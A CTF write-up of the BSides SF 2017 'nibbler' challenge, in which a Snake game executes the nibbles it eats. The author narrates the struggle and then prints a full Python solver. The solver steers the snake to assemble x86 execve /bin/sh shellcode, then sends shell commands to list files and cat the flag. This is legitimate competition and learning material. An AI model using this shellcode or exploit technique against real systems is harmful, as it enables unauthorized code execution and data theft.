BSIDES CTF 2017 - nibbler writeup

Alright. Alright, I'm doing this one.

So for the nibbler challenge we've got something pretty simple - a source code of basically a Snake game, with a little bit of a twist in that instead of your usual score items the snake eats literally nibbles, or 4-bit chunks of data, that increment their value every tick while on the field (wrapping around of course) and stores them consequentially in memory that gets executed at the time of its death.

There's also a randomly appearing single-tile obstacle.

Well how about that.

So first thing you should do when encountering a challenge like this one is consider your own sanity for a spell and decide if you really want to sacrifice a bit of it for the privilege of solving the puzzle. Then, possibly get a drink. Then, devise your strategy. Here's mine!

Nibbler Strategy

I hope you got all that!

Really, though, once I got my code working (well, more or less), it became soulwrenchingly apparent that the network latency would probably be the ultimate reason of my loyal nibblers' untimely deaths.

So I increased the tick period to a whole whopping second, which made my nibblers crawl and very slowly get a test shellcode nibble by nibble (I needed just a simple write call to prove the point -- and dump the contents of a register for some information -- at first), but still not one was able to string even those 13 bytes together. Was there really any hope of getting 23 then, which had been my target shellcode's size at the time? Sometimes it was a bug or an oversight in the code (like ignoring wraparound while evading the obstacle, notably), sometimes it was plain bad luck (turns out the target -- or the obstacle -- could just appear in the middle of the snake, confusing the hell out of it), but most of the times it was just lag -- brutish, angry, unavoidable lag happening just once at some point when the snake should have turned but suddenly was moving straight to its another certain gory death. Dropping the tick to even 800ms had been purely unthinkable, and every try took A LOT OF TIME. And of course I had to look for any unexpected deviations in the nibblers' behaviour that could possibly spell failure in future, fixing them one after another.

Let me just tell you there were a lot of them. After all's said and done, I promise to present you with the whole ghastly mess that I proudly call my nibbler code, uncut and unabridged. You are every bit as deserving of gazing into it as I were at that moment, or really any particular moment of solving this freakish abomination, suffering of harsh sleep deprivation (please put up the right time on the ctftime.org next time! thank you!), whispering to my nibblers chugging through the terminal tabs, encouraging them, mourning over their dead elongated (but not quite enough, never enough) bodies.

But it will have to wait. Don't go anywhere.

After some time of engaging in this miserable waste of time, my already failing brain got to the point where through some miracle of pattern-matching it at last realized we were going to need a US-based VPS for this. Me and my poor sweet, precious nibblers.

The first kind soul I could reach who had a VPS at that point of time was Vlad Roskov of LC/BC (who didn't participate in BSIDES), who provided me with access to a shell located somewhere in Dallas and also advised me on using a shellcode of 21 and not 23 characters with his blessings. I, of course, gladly accepted these wondrous gifts, and we also had a bit of a delightful discussion on using two-stage payloads (sadly, already proven to fail even locally for some unidentifiable, at least in my state then present, reasons) and dumping the registers to identify possibilities of shearing a byte or two off the shellcode. I was already on that while trying out my shiny new VPS at a whopping 200ms tick, and it worked for what's it worth, but again, for some unknown reasons not zeroeing out ebx, which had been definitely zero every time I checked, led to the actual shellcode failing. Maybe sometime I will get into that, but not now. Not now.

And lo, my army of nibblers started working their tails off (or rather, working them up), led directly into the rear of the enemy, eager to strike at its heart and gouge the bloody flag out of it! One after another their fell, sacrificing their lives, full of beauty and sophistication, for that grisly deed which did not become them, for their duty and honor. I saw Charlotte die horribly when the lag got her at last, crashing her into an obstacle when she was already forty nibbles long; I saw Marlene wringing in desperation when a target burst right through her midriff, catching her off-guard and sending her into dreadful craze; I saw Gwendolyn take an ultimate misstep, skipping a fateful tick and launching to forever wander the seventeenth column of the sorrowful field.

And then... And then I saw Deirdre reach for the final nibble.

Remember my instructions, I whispered. I knew she couldn't hear me now. Remember! I cried.

I saw her list the directory, doing her first reconaissance. I saw her find the flag.

And then I saw her cat it.

I knew I'll never see her again.

Deirdre

The Holy Code of Martyr Saint Deirdre

import socket
import time
import re
import binascii
import sys

target_re = re.compile("([\da-f]{2})")
score_re = re.compile("Score: ")

def recvuntil(s,end):
    buf = ''
    data = s.recv(1)
    while data:
        buf += data
        if buf.endswith(end):
            return buf
        data = s.recv(1)
    return buf

#shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# test edx
#shellcode = "\x6a\x04\x58\x6a\x01\x5b\x83\xc2\x1e\x52\x89\xe1\xcd\x80"
#binsh = "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\xcd\x80"
#test eax 
#shellcode = "\x50\x89\xE1\x6A\x04\x58\x89\xC2\x6A\x01\x5B\xCD\x80"
#test ebx 
#shellcode = "\x53\x89\xE1\x6A\x04\x58\x89\xC2\x6A\x01\x5B\xCD\x80"
#test ecx 
#shellcode = "\x51\x89\xE1\x6A\x04\x58\x89\xC2\x6A\x01\x5B\xCD\x80"
#test edx 
#shellcode = "\x52\x89\xE1\x6A\x04\x58\x89\xC2\x6A\x01\x5B\xCD\x80"

#shellcode = "\x6A\x0B\x58\x53\x68\x6E\x2F\x73\x68\x68\x2F\x2F\x62\x69\x89\xE3\x31\xC9\xCD\x80"
shellcode = "\x6A\x0B\x58\x99\x52\x68\x6E\x2F\x73\x68\x68\x2F\x2F\x62\x69\x89\xE3\x31\xC9\xCD\x80"
#read 2nd stage from stdin
#shellcode = "\x50\x59\x6A\x03\x58\x6A\x28\x5A\xCD\x80"


#shellcode = "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\xcd\x80"
s = socket.socket()
s.connect(("nibbler-e2cf50d6.ctf.bsidessf.net", 1338))

print s.recv(1024)
s.send("200000\n")
#s.send("e\n")

last_cmd = ""
def turn(d):
    last_cmd = d
    print "Cmd: %s" % d.strip()
    s.send(d)

tick = 0
loop_tick = 0
on_target = False
old_score = ""
target_step = 0
target_queue = []
shellcode_step = 0
high_nibble = True
shellcode_nibble = (ord(shellcode[0]) & 0xf0) >> 4
while True:
    screen = recvuntil(s,"right\n")
    lines = screen.split("\n")

    score_line = None
    for i, l in enumerate(lines):
        if "Score" in l:
            score_line = i

    if not score_line:
            print '\n'.join(lines)
            sys.exit()


    if shellcode_step == len(shellcode)*2:
        if body_up:
            s.send("w\n")
        elif body_down:
            s.send("s\n")
        print recvuntil(s, "Thanks for playing!\n")
#        s.send('A'*10 + binsh + "\n")
#        data = s.recv(1024)
#        print data
 #      print binascii.hexlify(data)
        s.send("ls\n")
        print s.recv(1024)
        s.send("find | grep flag | xargs cat\n")
        print s.recv(1024)

        sys.exit()
    score = ''.join(lines[score_line].split(' ')[1:])
    print binascii.hexlify(score)

    if (score != old_score) and on_target == True:
        print "Score changed! %s -> %s" % (old_score, score)
        on_target = False
        old_score = score
        high_nibble = not high_nibble
        shellcode_step += 1
        if shellcode_step < len(shellcode)*2:
            shellcode_nibble = ord(shellcode[shellcode_step/2])
            if shellcode_step%2 == 0:
                shellcode_nibble &= 0xf0 
                shellcode_nibble >>= 4
            else:
                shellcode_nibble &= 0xf

    for y, l in enumerate(lines[score_line+3:score_line+22]):
        m = target_re.search(l)
        if m:
            target_value = int(m.group(1),16)
            x = (l.find(m.group(1)) - 1) / 2
            target = (x, y)

        if '@@' in l:
            x = (l.find('@@') - 1) / 2
            snake = (x, y)

        if '**' in l:
            x = (l.find('**') - 1) / 2
            obstacle = (x, y)

    body_up = False
    body_down = False

    if (lines[score_line+3+snake[1]-1][snake[0]*2+1] == 'o'
         or snake[1] == 0 and lines[score_line+21][snake[0]*2+1] == 'o'):
        body_up = True

    if (lines[score_line+3+snake[1]+1][snake[0]*2+1] == 'o'
        or snake[1] == 22 and lines[score_line+3][snake[0]*2+1] == 'o'):
        body_down = True



    print '\n'.join(lines[score_line+3:score_line+22])
    print "Score: %s" % score
    print "Target value: %x" % target_value
    print "Target queue: " + str(target_queue)
    print "Target step: %d" % target_step
    print "Snake: %s %s Target: %s %s Obstacle: %s %s" % (snake[0], snake[1], target[0], target[1], obstacle[0], obstacle[1])
    print "On target: %s Body up: %s Body down: %s" % (on_target, body_up, body_down)
#   
    # if snake[1] == target[1]:
#        s.send("d\n")
#    if tick%2 == 1:
    if not on_target:
        if snake[0] == target[0]:
            # check possible values
            if not body_up and not ( obstacle[0] in [snake[0], snake[1]] and
                        (
                        (obstacle[1] > target[1] and 
                         obstacle[1] < snake[1]) or
                        (target[1] > snake[1] and
                            (obstacle[1] < snake[1] or obstacle[1] > target[1])))): # possible obstacle on the way up?
                delta_up = snake[1] - target[1]
                if delta_up < 0:
                    delta_up += 19
                possible_deltas = [delta_up]
                for _ in range((delta_up+1)/2):
                    possible_deltas += [delta_up+((_+1)*2)]
                for turns_needed, d in enumerate(possible_deltas):
                    if ( (high_nibble and (target_value/0x10 + d) % 16 == shellcode_nibble)
                            or 
                        (not high_nibble and (target_value + d) % 16 == shellcode_nibble))  :
                        target_queue = []
                        for _ in range(turns_needed):
                            target_queue += ["d\n","w\n","a\n","w\n"]
                        if target_queue:
                            target_queue = target_queue[:-1]
                        target_queue += ["w\n"]

                        if d == possible_deltas[-1]:
                            target_queue += ["d\n","w\n"]

                        on_target = True
                        target_step = 0
                        loop_tick = 0
                        break

            if not on_target and not body_down and not (obstacle[0] in [snake[0], snake[1]] and
                        (
                        (obstacle[1] < target[1] and 
                         obstacle[1] > snake[1]) or
                        (target[1] < snake[1] and
                            (obstacle[1] > snake[1] or obstacle[1] < target[1])))): # possible obstacle on the way down?

                delta_down = target[1] - snake[1]
                if delta_down < 0:
                    delta_down += 19
                possible_deltas = [delta_down]
                for _ in range((delta_down+1)/2):
                    possible_deltas += [delta_down+((_+1)*2)]
                for turns_needed, d in enumerate(possible_deltas):
                    if ( (high_nibble and (target_value/0x10 + d) % 16 == shellcode_nibble)
                            or 
                        (not high_nibble and (target_value + d) % 16 == shellcode_nibble))  :
                        target_queue = []
                        for _ in range(turns_needed):
                            target_queue += ["d\n","s\n","a\n","s\n"]
                        if target_queue:
                            target_queue = target_queue[:-1]
                        target_queue += ["s\n"]

                        if d == possible_deltas[-1]:
                            target_queue += ["d\n", "s\n"]

                        on_target = True
                        target_step = 0
                        loop_tick = 0
                        break


        elif snake[0] == target[0]-1 and snake[1] != target[1]:
                # coming close, go east
                loop_tick = 0

    if not on_target:
        loop = ["d\n","s\n","d\n","w\n"]
        cmd = loop[loop_tick]

        suspend_loop = False
        # even if target reached, need some extra steps to avoid collisions
        if target_step < len(target_queue):
            cmd = target_queue[target_step]
            target_step += 1
            suspend_loop = True

        if ((cmd == "d\n" and (obstacle[0] == snake[0]+1 or (obstacle[0] == 0 and snake[0] == 22)) and obstacle[1] == snake[1])
                or
            (cmd == "s\n" and (obstacle[1] == snake[1]+1 or (obstacle[1] == 0 and snake[0] == 19)) and obstacle[0] == snake[0])
                or
            (cmd == "w\n" and (obstacle[1] == snake[1]-1 or (obstacle[1] == 19 and snake[0] == 0)) and obstacle[0] == snake[0])
                or
            (cmd == "d\n" and (target[0] == snake[0]+1 or (target[0] == 0 and snake[0] == 22)) and target[1] == snake[1])
                or
            (cmd == "s\n" and (target[1] == snake[1]+1 or (target[1] == 0 and snake[0] == 19)) and target[0] == snake[0])
                or
            (cmd == "w\n" and (target[1] == snake[1]-1 or (target[1] == 19 and snake[0] == 0)) and target[0] == snake[0])
                or
            (cmd == "s\n" and body_down)
                or
            (cmd == "w\n" and body_up)
            ):
           #     or 
           # cmd == "w\n" and last_cmd == "s\n" 
           #     or
           # cmd == "s\n" and last_cmd == "w\n" 
           # ):
            turn("\n")
        else:
            if not suspend_loop:
                loop_tick += 1
                loop_tick %= 4
            turn(cmd)
    else:
        if target_step < len(target_queue):
            turn(target_queue[target_step])
            target_step += 1
        else:
            if target[0] != snake[0]:
                on_target = False
    tick += 1
#    time.sleep(0.5)

social